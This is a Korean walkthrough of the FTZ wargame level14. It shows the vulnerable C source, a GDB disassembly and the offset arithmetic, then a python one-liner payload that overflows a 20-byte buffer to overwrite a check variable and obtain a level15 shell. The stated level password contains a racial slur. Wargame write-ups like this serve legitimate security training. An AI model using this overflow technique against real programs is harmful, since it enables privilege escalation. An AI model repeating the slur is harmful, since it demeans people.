ID : level14
PW : what that nigga want?
접속합시다.
[level14@ftz level14]$ ls -al
total 96
drwxr-xr-x 4 root level14 4096 Mar 19 2003 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rwsr-x--- 1 level15 level14 13801 Dec 10 2002 attackme
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root level14 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root level14 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root level14 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root level14 400 Jan 25 1999 .cshrc
-rw-r--r-- 1 root level14 4742 Jan 25 1999 .emacs
-r--r--r-- 1 root level14 319 Jan 25 1999 .gtkrc
-rw-r--r-- 1 root level14 100 Jan 25 1999 .gvimrc
-rw-r----- 1 root level14 346 Dec 10 2002 hint
-rw-r--r-- 1 root level14 226 Jan 25 1999 .muttrc
-rw-r--r-- 1 root level14 367 Jan 25 1999 .profile
drwxr-xr-x 2 root level14 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level14 4096 Jul 3 16:24 tmp
-rw------- 1 root level14 1 May 7 2002 .viminfo
-rw-r--r-- 1 root level14 4145 Jan 25 1999 .vimrc
-rw-r--r-- 1 root level14 245 Jan 25 1999 .Xdefaults
힌트를 읽어봅시다.
[level14@ftz level14]$ cat hint
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include
#include
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
* 메모리 구조
<낮은주소>
buf
check(4)
crap(4)
SFP(4)
RET(4)
<높은주소>
RET까지 갈 필요 없이 buf에서 check의 값을 0xdeadbeef로 바꿔주면 쉽게 풀 수 있을 것 같습니다.
GDB 분석..
[level14@ftz level14]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef
0x080484b4 <main+36>: jne 0x80484db <main+75>
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17
0x080484be <main+46>: push 0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add esp,0x10
0x080484db <main+75>: leave
0x080484dc <main+76>: ret
0x080484dd <main+77>: lea esi,[esi]
End of assembler dump.
buf의 시작주소 : ebp-56
main+29 : ebp-16과 0xdeadbeef 비교
main+36 : 같지 않다면 점프(jne)
buf와 check의 거리 : 56 - 16 = 40byte
다행히도 fgets 함수가 45byte를 입력을 받는데 buf와 check의 거리가 40byte이기 때문에 충분히 RET를 덮을 수 있습니다.
* 최종적인 페이로드
=> A * 40 + "\xef\xbe\xad\xde"
[level14@ftz level14]$ (python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat)|./attackme
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
my-pass
Level15 Password is
가볍게 클리어 할 수 있습니다.
흐 ~ 뭇